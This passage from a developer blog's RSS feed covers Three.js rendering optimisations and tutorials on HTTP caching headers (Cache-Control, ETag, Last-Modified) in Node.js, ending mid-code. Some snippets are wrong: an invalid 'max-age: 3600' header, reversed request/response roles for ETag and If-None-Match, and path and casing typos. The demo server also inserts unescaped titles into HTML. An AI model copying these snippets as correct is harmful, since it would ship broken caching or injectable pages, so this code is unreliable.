&lt;pre&gt;&lt;code&gt;let clock: THREE.Clock;
let renderer: THREE.WebGLRenderer;

if (browser)
	onMount(() =&amp;gt; {
		const observer = new IntersectionObserver(([entry]) =&amp;gt; {
			if (entry.isIntersecting) {
				clock.start();
				renderer.setAnimationLoop(tick); // resume
			} else {
				clock.stop();
				renderer.setAnimationLoop(null); // pause
			}
		});
		observer.observe(canvas);

		// Scene setup...

		return () =&amp;gt; {
			observer.disconnect();

			// Other cleanup...
		};
	});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Adjust Shader Workload for Viewport Size&lt;/h2&gt;
&lt;p&gt;Devices with smaller screens are often less powerful. Adapt your shader’s computational workload accordingly. For example, reduce the number of octaves used in a fractal shader based on the viewport width:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script lang=&quot;ts&quot;&amp;gt;
	import ThreeScene from &apos;./three-scene.svelte&apos;;
	import { browser } from &apos;$app/environment&apos;;

	const octaves = browser ? (window.innerWidth &amp;lt;= 680 ? 2 : 4) : 1;
&amp;lt;/script&amp;gt;

&amp;lt;ThreeScene {octaves} /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;const material = new THREE.ShaderMaterial({
	vertexShader,
	fragmentShader,
	uniforms: {
		uOctaves: new Three.Uniform(octaves) // coming as $prop
	}
});
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;uniform float uOctaves;

for(float i = 0.0; i &amp;lt;= uOctaves; i++)
{
    elevation += simplexNoise2d(warpedPosition * uPositionFrequency * pow(2.0, i)) /  pow(2.0, i + 1.0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This approach dynamically balances performance and visual quality.&lt;/p&gt;
&lt;h2&gt;Let the Browser Handle Clean up&lt;/h2&gt;
&lt;p&gt;Here’s where things get tricky. &lt;strong&gt;Three.js doesn’t automatically clean up memory&lt;/strong&gt;, and you need to manually track and dispose of objects like geometries, textures, and materials. If you skip this, memory usage grows every time you navigate away and back, eventually crashing the browser.&lt;/p&gt;
&lt;p&gt;Let me share what I observed on my homepage:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Initial memory usage&lt;/em&gt;: 22.4MB&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./heap-snapshot-0.png&quot; alt=&quot;homepage allocates 22 megabytes on the heap&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;After soft-navigation to another page&lt;/em&gt;: 28.6MB (even though that page was static HTML).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./heap-snapshot-1.png&quot; alt=&quot;docs after homepage allocates 28 megabytes&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;After repeated navigation back and forth&lt;/em&gt;: Memory usage kept climbing until the browser crashed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./heap-snapshot-2.png&quot; alt=&quot;soft-navigating-without cleanup will result in crash&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Why? Because Three.js objects weren’t being disposed of properly. And despite extensive research, I couldn’t find a reliable way to fully clean up memory in modern frameworks.&lt;/p&gt;
&lt;p&gt;Here’s the simplest solution I found: &lt;strong&gt;force a hard-reload when leaving pages with Three.js scenes&lt;/strong&gt;. A hard-reload lets the browser:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a new page context.&lt;/li&gt;
&lt;li&gt;Perform garbage collection on the old page (leaving cleanup to the browser).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In &lt;code&gt;SvelteKit&lt;/code&gt;, this is easy with &lt;a href=&quot;https://svelte.dev/docs/kit/link-options#data-sveltekit-reload&quot;&gt;data-sveltekit-reload&lt;/a&gt;. Just enable it for pages with scenes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export function load() {
	return {
		sveltekitReload: true
	};
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For navigation links, pass this value dynamically:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script lang=&quot;ts&quot;&amp;gt;
	import { page } from &apos;$app/stores&apos;;
&amp;lt;/script&amp;gt;

&amp;lt;a href=&quot;/docs&quot; data-sveltekit-reload={$page.data.sveltekitReload}&amp;gt;Docs&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;If you use a generic &lt;code&gt;&amp;lt;Link&amp;gt;&lt;/code&gt; component, you only need to implement this once.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This approach isn’t perfect—it disables smooth client-side routing for specific pages—but &lt;strong&gt;it keeps memory in check and prevents crashes&lt;/strong&gt;. For me, that trade-off is worth it.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Final Thoughts&lt;/h2&gt;
&lt;p&gt;These optimizations have worked well for me, but the question remains: how do we properly clean up Three.js objects in modern frameworks? If you’ve found a reliable solution, I’d love to hear from you!&lt;/p&gt;
</content:encoded></item><item><title>Cache-Control max-age, stale-while-revalidate</title><link>https://didof.dev/blog/cache-control-max-age-stale-while-revalidate/</link><guid isPermaLink="true">https://didof.dev/blog/cache-control-max-age-stale-while-revalidate/</guid><description>Until now, thanks to Last-Modified/If-Modified-Since or ETag/If-None-Match we mainly saved on bandwidth. However, the server always had to process each request.</description><pubDate>Thu, 23 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Until now, thanks to &lt;code&gt;Last-Modified/If-Modified-Since&lt;/code&gt; or &lt;code&gt;ETag/If-None-Match&lt;/code&gt; we mainly saved on bandwidth. However, &lt;strong&gt;the server always had to process each request&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The server can instruct the client about &lt;strong&gt;using the stored resources&lt;/strong&gt; for a certain duration, deciding &lt;strong&gt;if and when the client should revalidate&lt;/strong&gt; the content and whether or not to &lt;strong&gt;do so in the background&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/didof/post-caching&quot;&gt;Support code&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;Real-world endpoints are not as instantaneous as those in this tutorial. The response &lt;strong&gt;may take milliseconds to generate&lt;/strong&gt;, without even considering the location of the server relative to the requester!&lt;/p&gt;
&lt;p&gt;Let&apos;s exacerbate the asynchronicity between server and client to highlight the need for the &lt;code&gt;Cache-Control&lt;/code&gt; Header.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export async function sleep(duration) {
  return new Promise((resolve) =&amp;gt; setTimeout(resolve, duration));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Based on the &lt;a href=&quot;https://dev.to/didof/web-caching-etagif-none-match-517n&quot;&gt;previously implemented &lt;code&gt;/only-etag&lt;/code&gt; endpoint&lt;/a&gt;, register &lt;code&gt;/cache-control-with-etag&lt;/code&gt;. For the time being, it&apos;s identical, except that &lt;em&gt;it waits three seconds&lt;/em&gt; before responding.
Also, add some log before dispatching the response&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export default async (req, res) =&amp;gt; {
  console.info(&quot;Load on the server!&quot;);

  work; // computation;

  await sleep(3000) // simulate async.

  const etag = createETag(html);
  res.setHeader(&quot;ETag&quot;, etag);
  const ifNoneMatch = new Headers(req.headers).get(&quot;If-None-Match&quot;);
  if (ifNoneMatch === etag) {
    res.writeHead(304).end();
    return;
  }

  res.writeHead(200).end(html);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s visualize the problem. When you request a page from the browser, &lt;strong&gt;it enters a loading state&lt;/strong&gt; for three seconds. Even if you refresh within that time, the browser &lt;strong&gt;makes the request anew&lt;/strong&gt;, regardless of the &lt;code&gt;ETag&lt;/code&gt; or the &lt;code&gt;Last-Modified&lt;/code&gt; mechanisms. The page content persists because you&apos;re essentially staying on the same page. To observe the behavior more clearly, &lt;em&gt;try reopening the page from a new tab or starting from a different site&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Most importantly, &lt;strong&gt;the server is hit on every request&lt;/strong&gt;!&lt;/p&gt;
&lt;h2&gt;max-age&lt;/h2&gt;
&lt;p&gt;It is possible to instruct the browser to use the cached version for a certain duration. The server will set the Response Header &lt;code&gt;Cache-Control&lt;/code&gt; with a value of &lt;code&gt;max-age=&amp;lt;seconds&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export default async (req, res) =&amp;gt; {
  console.info(&quot;Load on the server!&quot;);

  work; // db retrieval and templating;

  await sleep(3000) // simulate async.

  // Instruct the browser to use the cached resource
  // for 60 * 60 seconds = 1 hour
  res.setHeader(&quot;Cache-Control&quot;, &quot;max-age: 3600&quot;);

  etag; // as seen before
  // 200 or 304
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Give it another try now, and request the page. The first request makes the browser load for three seconds. If you open the same page in another tab, you&apos;ll notice &lt;strong&gt;it&apos;s already there&lt;/strong&gt;, and &lt;strong&gt;the server wasn&apos;t contacted&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This behavior persists for the specified seconds. If, after the cache expires, a new request returns a &lt;code&gt;304 Not Modified&lt;/code&gt; (thanks to the &lt;code&gt;If-None-Match&lt;/code&gt; header), the resource will be newly cached for that amount of time.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;➕ Better UX&lt;/li&gt;
&lt;li&gt;➕ Less load on the server&lt;/li&gt;
&lt;li&gt;❔ If the resource changes, the client remains unaware until the cache expires. After expiration, with a different &lt;strong&gt;Etag&lt;/strong&gt;, a new version will be displayed and cached.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;When attempting a refresh while staying on the page, you might observe the loading delay, indicating that the server is being contacted. Make sure you&apos;re not doing a &lt;strong&gt;hard refresh&lt;/strong&gt;, as it overrides the described behavior.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;stale-while-revalidate&lt;/h3&gt;
&lt;p&gt;If your application needs resource validation but you still want to show the cached version for a better user experience when available, you can use the &lt;code&gt;stale-while-revalidate=&amp;lt;seconds&amp;gt;&lt;/code&gt; directive.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;res.setHeader(&quot;Cache-Control&quot;,
   &quot;max-age=120, stale-while-revalidate=300&quot;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this case, the browser is instructed to cache the response for 2 minutes. &lt;strong&gt;Once this period elapses&lt;/strong&gt;, if the resource is requested &lt;strong&gt;within&lt;/strong&gt; the next 5 minutes, the browser will use the cached resource (even if it&apos;s stale) but will perform a background validation call.&lt;/p&gt;
&lt;p&gt;I want to emphasize the &quot;even if stale&quot; by playing around with the endpoint configured as above. Only &lt;strong&gt;soft refreshes&lt;/strong&gt; are performed.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ℹ️ &lt;strong&gt;Info&lt;/strong&gt;
Tap/click the next items to show the related graph.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;On the initial page request, it takes 3 seconds to load, and the response is cached for 2 minutes with an associated &amp;lt;b&amp;gt;ETag&amp;lt;/b&amp;gt;. The client will include this &amp;lt;b&amp;gt;ETag&amp;lt;/b&amp;gt; in the &amp;lt;code&amp;gt;If-None-Match&amp;lt;/code&amp;gt; header for subsequent requests.
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j06fitwxm1mlrok2qv4f.png&quot; alt=&quot;graph of point 1.&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Close and reopen the browser (or request from another page) &amp;lt;b&amp;gt;within the 2-minute window&amp;lt;/b&amp;gt;: the page is &amp;lt;b&amp;gt;instantly shown without hitting the server&amp;lt;b/&amp;gt;. %}
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/35m4y8lc82b5vkz2i0so.png&quot; alt=&quot;graph of point 2.&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;After the 2-minute cache expires, &amp;lt;b&amp;gt;the server is contacted&amp;lt;/b&amp;gt;. The resource has not changed, the client receives &amp;lt;code&amp;gt;304 Not Modified&amp;lt;/code&amp;gt;. The cache expiry date is extended with the provided &amp;lt;code&amp;gt;max-age&amp;lt;/code&amp;gt; value. No need to update what the user is seeing. %}
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7m00fh11tcp34jseh5ep.png&quot; alt=&quot;graph of point 3.&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now that the 2-minute window is open again, let&apos;s update the content of the resource using the db endpoint implemented in the &lt;a href=&quot;https://dev.to/didof/web-caching-etagif-none-match-517n&quot;&gt;previous blog post&lt;/a&gt;. Basically, &lt;strong&gt;next time the ETag will not match&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST http://127.0.0.1:8000/db \
-d &apos;{ &quot;title&quot;: &quot;ETag&quot;, &quot;tag&quot;: &quot;code&quot; }&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Still &amp;lt;b&amp;gt;within the 2-minute window&amp;lt;/b&amp;gt;, request the page again. Thanks to &amp;lt;code&amp;gt;max-age&amp;lt;/code&amp;gt;, the browser shows it immediately. It proceeds with background validation as already seen in step 3. But this time the &amp;lt;b&amp;gt;ETag&amp;lt;/b&amp;gt; does not match; the server responds with a &amp;lt;code&amp;gt;200 OK&amp;lt;/code&amp;gt; and provides a new &amp;lt;b&amp;gt;ETag&amp;lt;/b&amp;gt; (which overrides the previous entry in the cache). %}
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b0hooul1taitkerwihnz.png&quot; alt=&quot;graph of point 5.&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;🔑 message
Although the displayed content is stale, the browser &lt;strong&gt;updates its cache silently&lt;/strong&gt;, &lt;strong&gt;preserving the user experience&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;Request the page anew; this time, it finally displays the latest stored version. If within the newly restarted 2-minute window, the server won&apos;t be contacted.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;🔑 message
Any request outside the time window indicated by stale-while-revalidate (which I recall, starts from the expiration of that of max-age), will behave like step 1 - blank state.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>ETag/If-None-Match</title><link>https://didof.dev/blog/etag-if-none-match/</link><guid isPermaLink="true">https://didof.dev/blog/etag-if-none-match/</guid><description>we explored the usefulness of the Last-Modified Response Header and If-Modified-Since Request Header. They work really well when dealing with an endpoint returning a file. What about data retrieved from a database or assembled from different sources?</description><pubDate>Tue, 21 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/didof/post-caching&quot;&gt;Support code&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the previous &lt;a href=&quot;https://dev.to/didof/the-art-of-efficient-web-browsing-public-resources-27hl&quot;&gt;post&lt;/a&gt;, we explored the usefulness of the &lt;code&gt;Last-Modified&lt;/code&gt; Response Header and &lt;code&gt;If-Modified-Since&lt;/code&gt; Request Header. They work really well when dealing with an endpoint returning a file.&lt;/p&gt;
&lt;p&gt;What about &lt;strong&gt;data retrieved from a database&lt;/strong&gt; or &lt;strong&gt;assembled from different sources&lt;/strong&gt;?&lt;/p&gt;
&lt;p&gt;&amp;lt;table&amp;gt;
&amp;lt;thead&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;th&amp;gt;Request&amp;lt;/th&amp;gt;
&amp;lt;th&amp;gt;Response&amp;lt;/th&amp;gt;
&amp;lt;th&amp;gt;Value example&amp;lt;/th&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/thead&amp;gt;
&amp;lt;tbody&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;Last-Modified&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;If-Modified-Since&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;Thu, 15 Nov 2023 19:18:46 GMT&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;ETag&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;If-None-Match&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;75e7b6f64078bb53b7aaab5c457de56f&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/tbody&amp;gt;
&amp;lt;/table&amp;gt;&lt;/p&gt;
&lt;p&gt;Also here, we have a &lt;em&gt;tuple of headers&lt;/em&gt;. One must be provided by the requester (&lt;code&gt;ETag&lt;/code&gt;), while the other is returned by the sender (&lt;code&gt;If-None-Match&lt;/code&gt;). The value is a &lt;strong&gt;hash generated on the content of the response&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you want to go directly to using headers, go to the &lt;a href=&quot;#endpoint&quot;&gt;endpoint&lt;/a&gt;. Otherwise, observe (but don&apos;t spend too much time on) the implementation.&lt;/p&gt;
&lt;h2&gt;Preparation&lt;/h2&gt;
&lt;p&gt;For simplicity, we use an in-memory DB. It is exposed via the endpoint &lt;code&gt;/db&lt;/code&gt;. It contains a list of &lt;code&gt;posts&lt;/code&gt;. Each post contains a &lt;code&gt;title&lt;/code&gt; and a &lt;code&gt;tag&lt;/code&gt;. Posts can be added via &lt;code&gt;POST&lt;/code&gt;, and modified via &lt;code&gt;PATCH&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Retrieval is via a &lt;code&gt;GET&lt;/code&gt; function, which optionally filters by &lt;code&gt;tag&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { getJSONBody } from &apos;./utils.mjs&apos;;

const POSTS = [
	{ title: &apos;Caching&apos;, tag: &apos;code&apos; },
	{ title: &apos;Headers&apos;, tag: &apos;code&apos; },
	{ title: &apos;Dogs&apos;, tag: &apos;animals&apos; }
];

export function GET(tag) {
	let posts = POSTS;
	if (tag) posts = posts.filter((post) =&amp;gt; post.tag === tag);
	return posts;
}

export default async function db(req, res) {
	switch (req.method) {
		case &apos;POST&apos;: {
			const [body, err] = await getJSONBody(req);
			if (err) {
				res.writeHead(500).end(&apos;Something went wrong&apos;);
				return;
			}

			POSTS.push(body);
			res.writeHead(201).end();
			return;
		}
		case &apos;PATCH&apos;:
			const [body, err] = await getJSONBody(req);
			if (err) {
				res.writeHead(500).end(&apos;Something went wrong&apos;);
				return;
			}

			POSTS.at(body.index).title = body.title;
			res.writeHead(200).end();
			return;
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;export function getURL(req) {
	return new URL(req.url, `http://${req.headers.host}`);
}

export async function getJSONBody(req) {
	return new Promise((resolve) =&amp;gt; {
		let body = &apos;&apos;;
		req.on(&apos;data&apos;, (chunk) =&amp;gt; (body += chunk));
		req.on(&apos;error&apos;, (err) =&amp;gt; resolve([null, err]));
		req.on(&apos;end&apos;, () =&amp;gt; resolve([JSON.parse(body), null]));
	});
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Endpoint&lt;/h2&gt;
&lt;p&gt;By registering the &lt;em&gt;db&lt;/em&gt;, we will be able to modify the content of the responses in real-time, appreciating the usefulness of ETag.
Also, let&apos;s register and create the &lt;code&gt;/only-etag&lt;/code&gt; endpoint.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { createServer } from &apos;http&apos;;
import db from &apos;.src/db.mjs&apos;;
import onlyETag from &apos;./src/only-etag.mjs&apos;;
import { getURL } from &apos;./src/utils.mjs&apos;;

createServer(async (req, res) =&amp;gt; {
	switch (getURL(req).pathname) {
		case &apos;/only-etag&apos;:
			return await onlyETag(req, res);
		case &apos;/db&apos;:
			return await db(req, res);
	}
}).listen(8000, &apos;127.0.0.1&apos;, () =&amp;gt; console.info(&apos;Exposed on http://127.0.0.1:8000&apos;));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;onlyETag&lt;/code&gt; endpoint accepts an optional query parameter &lt;code&gt;tag&lt;/code&gt;. If present, it is used &lt;em&gt;to filter the retrieved posts&lt;/em&gt;.
Thus, the template is loaded in memory.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;h1&amp;gt;Tag: %TAG%&amp;lt;/h1&amp;gt;
		&amp;lt;ul&amp;gt;
			%POSTS%
		&amp;lt;/ul&amp;gt;
		&amp;lt;form method=&quot;GET&quot;&amp;gt;
			&amp;lt;input type=&quot;text&quot; name=&quot;tag&quot; id=&quot;tag&quot; autofocus /&amp;gt;
			&amp;lt;input type=&quot;submit&quot; value=&quot;filter&quot; /&amp;gt;
		&amp;lt;/form&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When submitted, the form uses as &lt;code&gt;action&lt;/code&gt; the current route (&lt;code&gt;/only-etag&lt;/code&gt;) appending as query parameter the &lt;code&gt;name&lt;/code&gt; attribute. For example, typing &lt;code&gt;code&lt;/code&gt; in the input and submitting the form would result in &lt;code&gt;GET /only-etag?name=code&lt;/code&gt;), &lt;strong&gt;No JavaScript required&lt;/strong&gt;!&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;And the posts are injected into it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import * as db from &apos;./db.mjs&apos;;
import { getURL, getView, createETag } from &apos;./utils.mjs&apos;;

export default async (req, res) =&amp;gt; {
	res.setHeader(&apos;Content-Type&apos;, &apos;text/html&apos;);

	const tag = getURL(req).searchParams.get(&apos;tag&apos;);
	const posts = await db.GET(tag);

	let [html, errView] = await getView(&apos;posts&apos;);
	if (errView) {
		res.writeHead(500).end(&apos;Internal Server Error&apos;);
		return;
	}

	html = html.replace(&apos;%TAG%&apos;, tag ?? &apos;all&apos;);
	html = html.replace(&apos;%POSTS%&apos;, posts.map((post) =&amp;gt; `&amp;lt;li&amp;gt;${post.title}&amp;lt;/li&amp;gt;`).join(&apos;\n&apos;));

	res.setHeader(&apos;ETag&apos;, createETag(html));

	res.writeHead(200).end(html);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you notice, before dispatching the response, the &lt;strong&gt;ETag&lt;/strong&gt; is generated and included under the &lt;code&gt;ETag&lt;/code&gt; Response header.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { createHash } from &apos;crypto&apos;;

export function createETag(resource) {
	return createHash(&apos;md5&apos;).update(resource).digest(&apos;hex&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Changing the content of the resource changes the &amp;lt;b&amp;gt;E&amp;lt;/b&amp;gt;ntity &lt;strong&gt;Tag&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Performing the request from the browser you can inspect the Response Headers via the Network tab of the Developer Tools.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK
Content-Type: text/html
ETag: 4775245bd90ebbda2a81ccdd84da72b3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you refresh the page, you&apos;ll notice the browser adding the &lt;code&gt;If-None-Match&lt;/code&gt; header to the request. The value corresponds of course to the one it received before.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /only-etag HTTP/1.1
If-None-Match: 4775245bd90ebbda2a81ccdd84da72b3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As seen in the previous posts per &lt;code&gt;Last-Modified&lt;/code&gt; and &lt;code&gt;If-Modified-Since&lt;/code&gt;, let&apos;s instruct the endpoint to deal with &lt;code&gt;If-None-Match&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export default async (req, res) =&amp;gt; {
  res.setHeader(&quot;Content-Type&quot;, &quot;text/html&quot;);

  retrieve (filtered) posts; // as seen before
  load html; // as seen before
  fill template; // as seen before

  const etag = createETag(html);
  res.setHeader(&quot;ETag&quot;, etag);
  const ifNoneMatch = new Headers(req.headers).get(&quot;If-None-Match&quot;);
  if (ifNoneMatch === etag) {
	res.writeHead(304).end();
	return;
  }

  res.writeHead(200).end(html);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Indeed, subsequent requests on the same resource return &lt;code&gt;304 Not Modified&lt;/code&gt;, instructing the browser to use previously stored resources. Let&apos;s request:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/only-etag&lt;/code&gt; three times in a row;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/only-etag?tag=code&lt;/code&gt; twice;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/only-etag?tag=animals&lt;/code&gt; twice;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/only-etag&lt;/code&gt;, without tag, once again;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bspcf1w7gguslu07v6qa.png&quot; alt=&quot;A screenshot of the Developer Tools showing what is listed above.&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The presence of the query parameter determines a change in response, thus in &lt;strong&gt;ETag&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Notice the last one. It does not matter that there have been other requests in the meantime; the browser keeps a map of requests (including the query parameters) and ETags.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Detect entity change&lt;/h3&gt;
&lt;p&gt;To further underscore the significance of this feature, let&apos;s add a new post to the DB from another process.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST http://127.0.0.1:8000/db \
-d &apos;{ &quot;title&quot;: &quot;ETag&quot;, &quot;tag&quot;: &quot;code&quot; }&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And request again &lt;code&gt;/only-etag?tag=code&lt;/code&gt;.
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xpo0hmpoord616pokabe.png&quot; alt=&quot;The same cached response is not useful anymore since the returned ETag is now different.&quot; /&gt;
After the &lt;em&gt;db&lt;/em&gt; has been updated, the same request generated a different &lt;strong&gt;ETag&lt;/strong&gt;. Thus, the server sent the client a new version of the resource, with a newly generated &lt;strong&gt;ETag&lt;/strong&gt;. Subsequent requests will fall back to the expected behavior.&lt;/p&gt;
&lt;p&gt;The same happens if we modify an element of the response.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X PATCH http://127.0.0.1:8000/db \
-d &apos;{ &quot;title&quot;: &quot;Amazing Caching&quot;, &quot;index&quot;: 0 }&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/960g0w3ycv1boii1976b.png&quot; alt=&quot;The same behaviour seen before is replicated if the content changes once again.&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;While ETag is a more versatile solution, applicable regardless of the data type since it is content-based, it should be considered that &lt;strong&gt;the server must still retrieve and assemble the response&lt;/strong&gt;, then pass it into the hashing function and compare it with the received value.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks to another header, &lt;code&gt;Cache-Control&lt;/code&gt;, it is possible to optimize the number of requests the server has to process.&lt;/p&gt;
</content:encoded></item><item><title>Last-Modified / If-Modified-Since</title><link>https://didof.dev/blog/last-modified-if-modified-since/</link><guid isPermaLink="true">https://didof.dev/blog/last-modified-if-modified-since/</guid><description>Less load on the server and less bandwidth usage for the same result? Where should I sign up? Nowhere, you just need to know the right headers.</description><pubDate>Thu, 16 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/didof/post-caching&quot;&gt;Support code&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let&apos;s keep it simple - NodeJS, no dependencies. Build with me some endpoints, each using different headers, and find out &lt;strong&gt;how the browser behaves based on the headers received&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Go directly to the &lt;a href=&quot;#no-headers-endpoint&quot;&gt;/no-headers&lt;/a&gt; endpoint or take a (very quick) look at the easiest server there is.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { createServer } from &quot;http&quot;;
import noHeaders from &quot;./src/index.mjs&quot;;

createServer((req, res) =&amp;gt; {
  switch (req.url) {
	case &quot;/no-headers&quot;:
	  return noHeaders(req, res);
  }
}).listen(8000, &quot;127.0.0.1&quot;, () =&amp;gt;
  console.info(&quot;Exposed on http://127.0.0.1:8000&quot;)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import fs from &quot;fs/promises&quot;;
import path from &quot;path&quot;;

